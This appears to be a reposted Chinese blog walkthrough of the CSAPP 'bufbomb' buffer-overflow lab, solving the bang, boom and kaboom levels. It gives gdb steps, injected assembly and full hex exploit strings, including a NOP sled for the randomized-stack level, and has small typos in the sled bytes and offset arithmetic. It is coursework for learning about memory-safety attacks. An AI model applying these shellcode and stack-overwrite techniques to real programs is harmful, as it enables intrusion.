CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
栈结构镇楼
这里先给出getbuf的反汇编代码和栈结构,方便下面的使用。
栈结构:
第2关:bang
构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。但我们知道全局变量放置在bss节或data节,并不存放在栈中,前面的方法只能修改栈中的内容,无法修改全局变量的内容。那我们需要换一种思路,先构建一段恶意代码,通过该段恶意代码,修改全局变量的值,以及其他操作。
我们需要将恶意代码放置在攻击字符串中,使得getbuf返回之后,首先执行这段恶意代码,然后再执行bang函数。
先看一下bang的源码:
#define NORMAL_BUFFER_SIZE 32 void test() {int val;/* Put canary on stack to detect possiblecorruption */volatile int local = uniqueval();val = getbuf();/* Check for corruption stack */if (local != uniqueval()){printf("Sabotaged!: the stack has beencorrupted\n");}else if (val == cookie){printf("Boom!: getbuf returned0x%x\n", val);validate(3);}else{printf("Dud: getbuf returned0x%x\n", val);} } int getbuf() {char buf[NORMAL_BUFFER_SIZE];Gets(buf);return 1; } int global_value = 0; void bang(int val) {if (global_value == cookie){printf("Bang!: You set global_value to 0x%x\n",global_value);validate(2);}elseprintf("Misfire: global_value = 0x%x\n", global_value);exit(0); }
先找到全局变量的位置:在bang函数里看到有两个内存地址,正好和源程序里的判断相等对应,接下来确定哪一个是全局变量。
0x804d100和0x804d108那一个是全局变量?
这里我用gdb调试
gdb bufbomb
在getbuf函数设断点,运行,查看一下两个地址的值,很明显,0x804d100是全局变量。
注意这里的调试方法设置完断点后运行的指令
(gdb) r -u stu
这里的stu是userid !
到这里全局变量也找到了,那么我们也就能写出恶意代码来了。
movl $0x4f802594,0x804d100//将cookie赋值给全局变量 push $0x08048cad //函数bang的地址压入栈 ret
将恶意代码保存到扩展名为.s的汇编代码文件,然后用gcc –m32 –c 编译成.o可重定位目标文件,然后objdump –d 反编译出机器码。
这是恶意代码,我们需要的是这些16进制的机器码,我把它们放到buf区域里,然后执行就可以了。要执行这些代码就需要让控制流可以跳到这,只要把这段恶意代码的首地址放到getbuf函数的返回地址处就可以了,也就是buf缓冲区的首地址放到getbuf函数返回地址。接下来找buf缓冲区的首地址:
看一下getbuf函数,发现,在图中0x80491f7处,ebp减小开辟了一段空间,也就是buf区域,eax寄存器中放的就是该空间的首地址,即buf首地址。
用gdb调试,我们在0x80491fd也就是call gets之前设置断点来查看eax寄存器中的内容,查看eax的值。
处理成小端也就是
e8 39 68 55
最终编写的恶意代码:
c7 05 00 d1 04 08 94 /*movl $0x4f802594,0x804d100*/ 25 80 4f 68 ad 8c 04 08 /*push $x08048cad*/ c3 /*ret*/ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 39 68 55 /*buff首地址0x556839e8*/
将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。
完成!
第3关:boom
前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原test的ebp给破坏了。Boom这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中,让被攻击者不容易发现我们动了手脚,
另外,构造攻击字符串,使得getbuf都能将正确的cookie值返回给test函数,而不是返回值1。设置返回值也就是更改eax(eax中保存的就是函数的返回值)的值,可以用mov指令设置eax存的为cookie值。更改完要进入test函数继续执行下面的指令,也就是下图中这个位置,将这个地址压栈。
void test() {int val;/* Put canary on stack to detect possiblecorruption */volatile int local = uniqueval();val = getbuf();/* Check for corruption stack */if (local != uniqueval()){printf("Sabotaged!: the stack has beencorrupted\n");}else if (val == cookie)///getbuf函数返回值为cookie {printf("Boom!: getbuf returned0x%x\n", val);validate(3);}else{printf("Dud: getbuf returned0x%x\n", val);} }
综合起来恶意代码就是:
/*cookie0x4f802594*/ movl $0x4f802594,%eax //将返回值修改为cookie pushl $0x8048dce //将call getbuf函数的下一条要执行的指令的地址压入返回地址 ret //用ret来执行返回地址
用同bang那关一样的方法,得到字节码:
恶意代码准备好了,将返回地址更改为指向这个代码的位置,把恶意代码放到buf缓冲区内,返回地址和bang一样。
接下来要恢复ebp的值,先得到ebp旧值。
gdb调试:在getbuf第一行,push ebp 设置断点。查看ebp的值。
ebp=0x55683a40,即40 3a 68 55
用这个值覆盖ebp值。ebp值在返回地址的低方位,放在返回地址前。
最终编写的恶意代码:
b8 94 25 80 4f /*movl $0x4f802594,%eax */ 68 ce 8d 04 08 /*pushl $0x8048dce */ c3 /*ret*/ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 3a 68 55 /*old ebp:0x55683a40*/ e8 39 68 55 /*buff首地址0x556839e8*/
将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。
nice!
第4关:kaboom
这一关难度比前面都大。但也是承接上一关的,构造攻击字符串使getbufn函数,返回cookie值至testn函数,而不是返回值1,需要将cookie值设为函数返回值,复原被破坏的栈帧结构,并正确地返回到testn函数。但这一关与之前最大的不同在于地址空间随机化,每次攻击,被攻击函数的栈帧内存地址都不同,也就是函数的栈帧位置每次运行时都不一样,不能准确地跳转到栈空间的某个特定地址。因此,要想办法保证每次都能够正确复原原栈帧被破坏的状态,使程序每次都能够正确返回。
进入这一关需要加入-n选项,调的函数是testn和getbufn,而不是前面的test和getbuf。这道题有5个test case,要都通过才算过。
说点题外话这一关还有一个别名Nitro 硝化甘油,这是一种不稳定的火药,其实从这里也暗示了这一关的攻击不稳定。
先看一下源码:
#define KABOOM_BUFFER_SIZE 512 void testn() {int val;volatile int local = uniqueval();val = getbufn();/* Check for corrupted stack */if (local != uniqueval()){printf("Sabotaged!: the stack has been corrupted\n");}else if (val == cookie){printf("KABOOM!: getbufn returned 0x%x\n", val);validate(4);}else{printf("Dud: getbufn returned 0x%x\n", val);} } int getbufn() {char buf[KABOOM_BUFFER_SIZE];Gets(buf);return 1; }
在这一关buffersize也从32增大到了512,这个做法是有意义的。
大概的思路是,虽然栈的初始地址不同,但会在一些范围里浮动,所以我们需要把我们的代码填在512字节的最后几个字节里,并且前面全面的空间都填上nop(编码为0x90
)。不管我们跳转到哪个nop,最后都会执行到我们的代码。
ebp是随机的,但是ebp相对esp是绝对的,根据上面的图中结合栈结构得出
ebp = esp + 0x24 + 4 = esp + 28
getbufn函数返回后要从0x8048e4a开始执行,将这个地址压栈。
设置cookie给eax。
综合得出恶意代码为:
mov $0x4f802594,%eax //将返回值修改为cookie lea 0x28(%esp),%ebp //ebp=esp+28 push $0x8048e4a //将call getbufn函数的下一条要执行的指令的地址压入返回地址 ret
转换为字节码:
再回到getbufn函数:
要填入0x208+4+4=528字节。
因为随机,不知道程序会跳到哪里,所以把恶意代码放到最后面,用nop滑行。
(nop不会执行任何操作,只有PC加一,机器码是90。)
所以,前面塞满90,最后面写上恶意代码程序,以及最后要跳的位置。
寻找要跳的地址:
由于随机化,buf首地址不确定。用gdb调试:在0x8049218设断点,看eax的值。(每执行一次,要用c命令继续,进而执行下一次)
如此这样五次,注意这次调试时运行r需要加入-n
(gdb) r -nu stu
这样获得了5个buf起始地址。
0x55683808 0x556837a8 0x55683878 0x55683858 0x556837a8
取最高地址0x55683878(78 38 68 55)作为返回地址,这样就会一路滑行到恶意代码,执行恶意代码。
综上:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*100*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*200*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 9090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*400*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*500*/ 90 90 90 90 90 90 90 90 90 b8 94 25 80 4f /*mov $0x4f802594,%eax*/ 8d 6c 24 28 /*lea 0x28(%esp),%ebp */ 68 4a 8e 04 08 /*push $0x8048e4a */ c3 78 38 68 55 /*0x55683878*/
同上管道输入。
注意:需要注意的是因为在Nitro模式下主程序需要读五次input以满足执行五次的需要,因此在执行./hex2raw程序时请注意添加 -n flag以保证input string 被复制五次每次以\n结尾以结束每次的gets()函数调用。
完结撒花!
转载于:https://www.cnblogs.com/wkfvawl/p/10809471.html